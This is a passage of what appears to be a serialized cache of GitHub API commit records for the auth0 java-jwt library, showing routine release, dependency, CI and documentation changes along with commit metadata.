parent 724cae8618bc83497ce2757769461fb8675b1c98
parent 24fa7c6451a941f0bd2ead4af262839f48264636
author Jim Anderson <jim.anderson@auth0.com> 1642083941 -0600
committer GitHub <noreply@github.com> 1642083941 -0600

Merge pull request #524 from auth0/release-3.18.3

Release 3.18.3uuj`  \https://api.github.com/repos/auth0/java-jwt/commits/b2cd7435712f270b10686e8cceb19dd7e9428366html_urlQhttps://github.com/auth0/java-jwt/commit/b2cd7435712f270b10686e8cceb19dd7e9428366comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/b2cd7435712f270b10686e8cceb19dd7e9428366/commentsjN  }(login
jimmyjamesidJ7 jJ  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j`  'https://api.github.com/users/jimmyjamesjn  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujV  }(js  web-flowju  J/jJ  MDQ6VXNlcjE5ODY0NDQ3jw  4https://avatars.githubusercontent.com/u/19864447?v=4jy  h3j`  %https://api.github.com/users/web-flowjn  https://github.com/web-flowj|  /https://api.github.com/users/web-flow/followersj~  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(jH  (724cae8618bc83497ce2757769461fb8675b1c98j`  \https://api.github.com/repos/auth0/java-jwt/commits/724cae8618bc83497ce2757769461fb8675b1c98jn  Qhttps://github.com/auth0/java-jwt/commit/724cae8618bc83497ce2757769461fb8675b1c98u}(jH  (24fa7c6451a941f0bd2ead4af262839f48264636j`  \https://api.github.com/repos/auth0/java-jwt/commits/24fa7c6451a941f0bd2ead4af262839f48264636jn  Qhttps://github.com/auth0/java-jwt/commit/24fa7c6451a941f0bd2ead4af262839f48264636uestats}(totalK
	additionsK	deletionsKufiles](}(jH  (0b8231d4b50e10947c59d124ba9ddd5c2f2732b7filenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/b2cd7435712f270b10686e8cceb19dd7e9428366/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/b2cd7435712f270b10686e8cceb19dd7e9428366/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=b2cd7435712f270b10686e8cceb19dd7e9428366patchX  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.18.3](https://github.com/auth0/java-jwt/tree/3.18.3) (2022-01-13)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.2...3.18.3)
+
+**Security**
+- Update jackson dependency [\#523](https://github.com/auth0/java-jwt/pull/523) ([poovamraj](https://github.com/poovamraj))
+
 ## [3.18.2](https://github.com/auth0/java-jwt/tree/3.18.2) (2021-09-16)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.1...3.18.2)
 u}(jH  (8f6ba41c5ab75072dfb44680f1a35fb35a4fe281j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/b2cd7435712f270b10686e8cceb19dd7e9428366/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/b2cd7435712f270b10686e8cceb19dd7e9428366/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=b2cd7435712f270b10686e8cceb19dd7e9428366j  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.2</version>
+    <version>3.18.3</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.2'
+implementation 'com.auth0:java-jwt:3.18.3'
 ```
 
 ## Available Algorithmsueu(0856e124533f2b87e45665cbba7096883e370007}(sha(0856e124533f2b87e45665cbba7096883e370007node_idEC_kwDOAQtL0doAKDA4NTZlMTI0NTMzZjJiODdlNDU2NjVjYmJhNzA5Njg4M2UzNzAwMDccommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-09-07T23:27:00Zu	committer}(j  GitHubj  noreply@github.comj  2022-09-07T23:27:00ZumessageTMerge pull request #607 from auth0/update-gradle-plugin

Update OSS plugin to latesttree}(j  (82b9606993ae850d57abb66584c38bff6a7b2950url^https://api.github.com/repos/auth0/java-jwt/git/trees/82b9606993ae850d57abb66584c38bff6a7b2950uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/0856e124533f2b87e45665cbba7096883e370007
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjGSjECRBK7hj4Ov3rIwAAHoMIAEm7yUWK28Z+T0cvPMIYAlHh
cVM5ryLj36loRbnaNsscP25J6yu2Xm3mILj9kya5Xaf//gJ1/JcpBq0g/RACX5Di
/JsEILLGbW9M22An/ou9Ambc/WbabpZtSXG9bCTSUX36KLPSMo9iD4hZBfParnht
M32OwXxxt47H8rb1/Yt4RJA+3egJq+kV0TV0p/Vn2UQ3m4E04MX8E92CGdJ7aVqt
HWEGk78GsLzDZkVvQJj8T9q47MSwJSVv8Y8o7HGvdZP5CeRIcWiEcY4LSq7oVuM0
0xMv5wYDLDC0TKzyOQPV8n5rGl4isoaN04t+Ge4FffQMEDJy+pc0xpOQSzVmTQc=
=NmeS
-----END PGP SIGNATURE-----
payloadXX  tree 82b9606993ae850d57abb66584c38bff6a7b2950
parent fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6
parent 884ac926d7f7afb7e42036a65dc739e9bed79e25
author Jim Anderson <jim.anderson@auth0.com> 1662593220 -0500
committer GitHub <noreply@github.com> 1662593220 -0500

Merge pull request #607 from auth0/update-gradle-plugin

Update OSS plugin to latestuuj  \https://api.github.com/repos/auth0/java-jwt/commits/0856e124533f2b87e45665cbba7096883e370007html_urlQhttps://github.com/auth0/java-jwt/commit/0856e124533f2b87e45665cbba7096883e370007comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0856e124533f2b87e45665cbba7096883e370007/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj	  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj
  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(j  (fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6j  \https://api.github.com/repos/auth0/java-jwt/commits/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6j  Qhttps://github.com/auth0/java-jwt/commit/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6u}(j  (884ac926d7f7afb7e42036a65dc739e9bed79e25j  \https://api.github.com/repos/auth0/java-jwt/commits/884ac926d7f7afb7e42036a65dc739e9bed79e25     j  Qhttps://github.com/auth0/java-jwt/commit/884ac926d7f7afb7e42036a65dc739e9bed79e25uestats}(totalK	additionsK	deletionsKufiles]}(j  (a4cda2d7db0cc2eb8d4d8d3bf9b39f8891093cc1filenamesettings.gradlestatusmodifiedj1  Kj2  KchangesKblob_url_https://github.com/auth0/java-jwt/blob/0856e124533f2b87e45665cbba7096883e370007/settings.gradleraw_url^https://github.com/auth0/java-jwt/raw/0856e124533f2b87e45665cbba7096883e370007/settings.gradlecontents_urlqhttps://api.github.com/repos/auth0/java-jwt/contents/settings.gradle?ref=0856e124533f2b87e45665cbba7096883e370007patch@@ -3,7 +3,7 @@ pluginManagement {
         gradlePluginPortal()
     }
     plugins {
-        id 'com.auth0.gradle.oss-library.java' version '0.16.0'
+        id 'com.auth0.gradle.oss-library.java' version '0.17.2'
     }
 }
 uau(d02ae450cd26179d4b415a43faacb986a7123091}(sha(d02ae450cd26179d4b415a43faacb986a7123091node_idEC_kwDOAQtL0doAKGQwMmFlNDUwY2QyNjE3OWQ0YjQxNWE0M2ZhYWNiOTg2YTcxMjMwOTEcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-02T19:04:32Zu	committer}(jN  James AndersonjP  jim.anderson@auth0.comjR  2022-03-02T19:04:32Zumessage [SDK-3160] Remove internal Clocktree}(jF  (e693429c77dfbc4edc5bea85793bce5b0ac13811url^https://api.github.com/repos/auth0/java-jwt/git/trees/e693429c77dfbc4edc5bea85793bce5b0ac13811uj^  `https://api.github.com/repos/auth0/java-jwt/git/commits/d02ae450cd26179d4b415a43faacb986a7123091
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj^  \https://api.github.com/repos/auth0/java-jwt/commits/d02ae450cd26179d4b415a43faacb986a7123091html_urlQhttps://github.com/auth0/java-jwt/commit/d02ae450cd26179d4b415a43faacb986a7123091comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d02ae450cd26179d4b415a43faacb986a7123091/commentsjL  }(login
jimmyjamesidJ7 jH  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j^  'https://api.github.com/users/jimmyjamesjj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujT  }(jo  
jimmyjamesjq  J7 jH  MDQ6VXNlcjI3NjIyNQ==js  2https://avatars.githubusercontent.com/u/276225?v=4ju  h3j^  'https://api.github.com/users/jimmyjamesjj  https://github.com/jimmyjamesjx  1https://api.github.com/users/jimmyjames/followersjz  >https://api.github.com/users/jimmyjames/following{/other_user}j|  7https://api.github.com/users/jimmyjames/gists{/gist_id}j~  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(jF  (1ccecd40417bb7e4da9cf94aa612a8ad4d0086faj^  \https://api.github.com/repos/auth0/java-jwt/commits/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fajj  Qhttps://github.com/auth0/java-jwt/commit/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fauastats}(totalK=	additionsK 	deletionsK=ufiles](}(jF  (29ed3c1e79e06891aef59fe7fbd039bdf2d431b4filename.lib/src/main/java/com/auth0/jwt/ClockImpl.javastatusremovedj  K j  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImpl.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImpl.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImpl.java?ref=1ccecd40417bb7e4da9cf94aa612a8ad4d0086fapatchX  @@ -1,24 +0,0 @@
-package com.auth0.jwt;
-
-import com.auth0.jwt.interfaces.Clock;
-
-import java.util.Date;
-
-/**
- * Default Clock implementation used for verification.
- *
- * @see Clock
- * @see JWTVerifier
- * <p>
- * This class is thread-safe.
- */
-final class ClockImpl implements Clock {
-
-    ClockImpl() {
-    }
-
-    @Override
-    public Date getToday() {
-        return new Date();
-    }
-}u}(jF  (7dd9c43b0a94e10cd2846bb8803f11e0ff91c2f0j  5lib/src/main/java/com/auth0/jwt/interfaces/Clock.javaj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClock.javaj  https://github.com/auth0/java-jwt/raw/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClock.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClock.java?ref=1ccecd40417bb7e4da9cf94aa612a8ad4d0086faj  XM  @@ -1,16 +0,0 @@
-package com.auth0.jwt.interfaces;
-
-import java.util.Date;
-
-/**
- * The Clock class is used to wrap calls to Date class.
- */
-public interface Clock {
-
-    /**
-     * Returns a new Date representing Today's time.
-     *
-     * @return a new Date representing Today's time.
-     */
-    Date getToday();
-}u}(jF  (0feb7c40e5dc5ab1adb3663a089bc877db285db0j  2lib/src/test/java/com/auth0/jwt/ClockImplTest.javaj  removedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.javaj  https://github.com/auth0/java-jwt/raw/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.java?ref=1ccecd40417bb7e4da9cf94aa612a8ad4d0086faj  X+  @@ -1,21 +0,0 @@
-package com.auth0.jwt;
-
-import com.auth0.jwt.interfaces.Clock;
-import org.junit.Test;
-
-import java.util.Date;
-
-import static org.hamcrest.Matchers.is;
-import static org.hamcrest.Matchers.notNullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-public class ClockImplTest {
-
-    @Test
-    public void shouldGetToday() throws Exception{
-        Clock clock = new ClockImpl();
-        Date clockToday = clock.getToday();
-        assertThat(clockToday, is(notNullValue()));
-    }
-
-}
\ No newline at end of fileueu(b1f44483df828fb7ba2baf47242bb7f0d95df03d}(sha(b1f44483df828fb7ba2baf47242bb7f0d95df03dnode_idEC_kwDOAQtL0doAKGIxZjQ0NDgzZGY4MjhmYjdiYTJiYWY0NzI0MmJiN2YwZDk1ZGYwM2Qcommit}(author}(namefml2email$534392+fml2@users.noreply.github.comdate2022-02-01T13:55:02Zu	committer}(j  GitHubj  noreply@github.comj  2022-02-01T13:55:02Zumessage'docs: Fix a typo in the javadoc commenttree}(j  (93e133cba51d30a21ccdc332fb6f5bc70304c581url^https://api.github.com/repos/auth0/java-jwt/git/trees/93e133cba51d30a21ccdc332fb6f5bc70304c581uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/b1f44483df828fb7ba2baf47242bb7f0d95df03d
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJh+Tu2CRBK7hj4Ov3rIwAAvM4IAH7pwP6WNzVHwayMeCoJs2hm
nrBr7oBoWyxHIqpaarSgofRMCa397Izrdmqw8/h4/XOWEDEfjGHGPPmzele2tVaY
m75INyKJDaBe0ewOH/AzL0qdF8d3pzszpaGj5XxpvIGJGjNflRngRPFglGVxix3C
n8APIOZgdguwM+8tzHaq/pHmSlxq+9qg7pGzZTf6HYFp8P+XKYLprfnoKQOvayi/
h1HmD7KOlmmA1qiV0Wg20YcCaEv4epkV60ntQCsmcmXKL1FFvFY+IycTGyxpM85s
PrEN5e6zwkMb64CaVizmCJYdwfXjXphjqItzjbtgdPQfilz35ydIQ1hU3v9sZ6Q=
=uWjy
-----END PGP SIGNATURE-----
payloadX  tree 93e133cba51d30a21ccdc332fb6f5bc70304c581
parent b2cd7435712f270b10686e8cceb19dd7e9428366
author fml2 <534392+fml2@users.noreply.github.com> 1643723702 +0100
committer GitHub <noreply@github.com> 1643723702 +0100

docs: Fix a typo in the javadoc commentuuj  \https://api.github.com/repos/auth0/java-jwt/commits/b1f44483df828fb7ba2baf47242bb7f0d95df03dhtml_urlQhttps://github.com/auth0/java-jwt/commit/b1f44483df828fb7ba2baf47242bb7f0d95df03dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/b1f44483df828fb7ba2baf47242bb7f0d95df03d/commentsj  }(loginfml2idJx' j  MDQ6VXNlcjUzNDM5Mg==
avatar_url2https://avatars.githubusercontent.com/u/534392?v=4gravatar_idh3j  !https://api.github.com/users/fml2j  https://github.com/fml2
followers_url+https://api.github.com/users/fml2/followers
following_url8https://api.github.com/users/fml2/following{/other_user}	gists_url1https://api.github.com/users/fml2/gists{/gist_id}starred_url8https://api.github.com/users/fml2/starred{/owner}{/repo}subscriptions_url/https://api.github.com/users/fml2/subscriptionsorganizations_url&https://api.github.com/users/fml2/orgs	repos_url'https://api.github.com/users/fml2/repos
events_url2https://api.github.com/users/fml2/events{/privacy}received_events_url1https://api.github.com/users/fml2/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj	  <https://api.github.com/users/web-flow/following{/other_user}j	  5https://api.github.com/users/web-flow/gists{/gist_id}j	  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j	  3https://api.github.com/users/web-flow/subscriptionsj		  *https://api.github.com/users/web-flow/orgsj	  +https://api.github.com/users/web-flow/reposj
	  6https://api.github.com/users/web-flow/events{/privacy}j	  5https://api.github.com/users/web-flow/received_eventsj	  Userj	  uparents]}(j  (b2cd7435712f270b10686e8cceb19dd7e9428366j  \https://api.github.com/repos/auth0/java-jwt/commits/b2cd7435712f270b10686e8cceb19dd7e9428366j  Qhttps://github.com/auth0/java-jwt/commit/b2cd7435712f270b10686e8cceb19dd7e9428366uastats}(totalK	additionsK	deletionsKufiles]}(j  (49e922d00e5832b486bf5d17a6e20264fb7cf5d6filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj-	  Kj.	  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/b1f44483df828fb7ba2baf47242bb7f0d95df03d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/b1f44483df828fb7ba2baf47242bb7f0d95df03d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=b1f44483df828fb7ba2baf47242bb7f0d95df03dpatchX  @@ -14,7 +14,7 @@
 import java.util.stream.Collectors;
 
 /**
- * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also it's signature matches.
+ * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
  * <p>
  * This class is thread-safe.
  */uau(122a8af5c09b72a6fd22185970031c1a5b3e6961}(sha(122a8af5c09b72a6fd22185970031c1a5b3e6961node_idEC_kwDOAQtL0doAKDEyMmE4YWY1YzA5YjcyYTZmZDIyMTg1OTcwMDMxYzFhNWIzZTY5NjEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-08-31T13:52:11Zu	committer}(jJ	  
Poovamraj T TjL	  poovamraj@gmail.comjN	  2022-08-31T13:52:11Zumessage!Disable API diff task temporarilytree}(jB	  (f2ebd52131057ade9d4a4fb93183d3d515018f52url^https://api.github.com/repos/auth0/java-jwt/git/trees/f2ebd52131057ade9d4a4fb93183d3d515018f52ujZ	  `https://api.github.com/repos/auth0/java-jwt/git/commits/122a8af5c09b72a6fd22185970031c1a5b3e6961
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujZ	  \https://api.github.com/repos/auth0/java-jwt/commits/122a8af5c09b72a6fd22185970031c1a5b3e6961html_urlQhttps://github.com/auth0/java-jwt/commit/122a8af5c09b72a6fd22185970031c1a5b3e6961comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/122a8af5c09b72a6fd22185970031c1a5b3e6961/commentsjH	  }(login	poovamrajidJ jD	  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jZ	  &https://api.github.com/users/poovamrajjf	  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujP	  }(jk	  	poovamrajjm	  J jD	  MDQ6VXNlcjE1OTEwNDI1jo	  4https://avatars.githubusercontent.com/u/15910425?v=4jq	  h3jZ	  &https://api.github.com/users/poovamrajjf	  https://github.com/poovamrajjt	  0https://api.github.com/users/poovamraj/followersjv	  =https://api.github.com/users/poovamraj/following{/other_user}jx	  6https://api.github.com/users/poovamraj/gists{/gist_id}jz	  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j|	  4https://api.github.com/users/poovamraj/subscriptionsj~	  +https://api.github.com/users/poovamraj/orgsj	  ,https://api.github.com/users/poovamraj/reposj	  7https://api.github.com/users/poovamraj/events{/privacy}j	  6https://api.github.com/users/poovamraj/received_eventsj	  Userj	  uparents]}(jB	  (39eec490bd9ad07f7260e9fa1fd0cf60369c6036jZ	  \https://api.github.com/repos/auth0/java-jwt/commits/39eec490bd9ad07f7260e9fa1fd0cf60369c6036jf	  Qhttps://github.com/auth0/java-jwt/commit/39eec490bd9ad07f7260e9fa1fd0cf60369c6036uastats}(totalK	additionsK	deletionsKufiles]}(jB	  (fb185917d8f0e30abfe4bc75ff75dbe91ec5dbeffilename.circleci/config.ymlstatusmodifiedj	  Kj	  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/122a8af5c09b72a6fd22185970031c1a5b3e6961/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/122a8af5c09b72a6fd22185970031c1a5b3e6961/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=122a8af5c09b72a6fd22185970031c1a5b3e6961patchX  @@ -22,14 +22,14 @@ commands:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
       - codecov/upload
-  run-api-diff:
-    steps:
-      # run apiDiff task
-      - run: ./gradlew apiDiff
-      - store_artifacts:
-          path: lib/build/reports/apiDiff/apiDiff.txt
-      - store_artifacts:
-          path: lib/build/reports/apiDiff/apiDiff.html
+  # run-api-diff:
+  #   steps:
+  #     # run apiDiff task
+  #     - run: ./gradlew apiDiff
+  #     - store_artifacts:
+  #         path: lib/build/reports/apiDiff/apiDiff.txt
+  #     - store_artifacts:
+  #         path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:uau(acf1d8e4b97b215e25d8239ce8b8830741c0cf04}(sha(acf1d8e4b97b215e25d8239ce8b8830741c0cf04node_idEC_kwDOAQtL0doAKGFjZjFkOGU0Yjk3YjIxNWUyNWQ4MjM5Y2U4Yjg4MzA3NDFjMGNmMDQcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-03-31T02:03:21Zu	committer}(j	  Jim Andersonj	  jimranderson@gmail.comj	  2023-03-31T02:03:21Zumessageupdate jackson to 2.14.2tree}(j	  (6abedff9748f4263e64cbdea23e12c37eef0018eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/6abedff9748f4263e64cbdea23e12c37eef0018euj	  `https://api.github.com/repos/auth0/java-jwt/git/commits/acf1d8e4b97b215e25d8239ce8b8830741c0cf04
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj	  \https://api.github.com/repos/auth0/java-jwt/commits/acf1d8e4b97b215e25d8239ce8b8830741c0cf04html_urlQhttps://github.com/auth0/java-jwt/commit/acf1d8e4b97b215e25d8239ce8b8830741c0cf04comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/acf1d8e4b97b215e25d8239ce8b8830741c0cf04/commentsj	  }(login
jimmyjamesidJ7 j	  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j	  'https://api.github.com/users/jimmyjamesj	  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj	  }(j	  
jimmyjamesj	  J7 j	  MDQ6VXNlcjI3NjIyNQ==j	  2https://avatars.githubusercontent.com/u/276225?v=4j	  h3j	  'https://api.github.com/users/jimmyjamesj	  https://github.com/jimmyjamesj	  1https://api.github.com/users/jimmyjames/followersj	  >https://api.github.com/users/jimmyjames/following{/other_user}j	  7https://api.github.com/users/jimmyjames/gists{/gist_id}j	  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j	  5https://api.github.com/users/jimmyjames/subscriptionsj	  ,https://api.github.com/users/jimmyjames/orgsj	  -https://api.github.com/users/jimmyjames/reposj	  8https://api.github.com/users/jimmyjames/events{/privacy}j	  7https://api.github.com/users/jimmyjames/received_eventsj	  Userj	  uparents]}(j	  (e85a00a00543b2b17d0460e9c1c11c2aa31fbcbcj	  \https://api.github.com/repos/auth0/java-jwt/commits/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbcj	  Qhttps://github.com/auth0/java-jwt/commit/e85a00a00543b2b17d0460e9c1c11c2aa31fbcbcuastats}(totalK	additionsK	deletionsKufiles]}(j	  (c4e1176463e31e211111eff92028e4811c06478efilenamelib/build.gradlestatusmodifiedj
  Kj
  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/acf1d8e4b97b215e25d8239ce8b8830741c0cf04/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/acf1d8e4b97b215e25d8239ce8b8830741c0cf04/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=acf1d8e4b97b215e25d8239ce8b8830741c0cf04patchX0  @@ -72,7 +72,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.14.0'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.14.2'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'uau(04f0e1c9f0f2c026a56f3be512d6b9fc813c4957}(sha(04f0e1c9f0f2c026a56f3be512d6b9fc813c4957node_idEC_kwDOAQtL0doAKDA0ZjBlMWM5ZjBmMmMwMjZhNTZmM2JlNTEyZDZiOWZjODEzYzQ5NTccommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-19T19:55:51Zu	committer}(j4
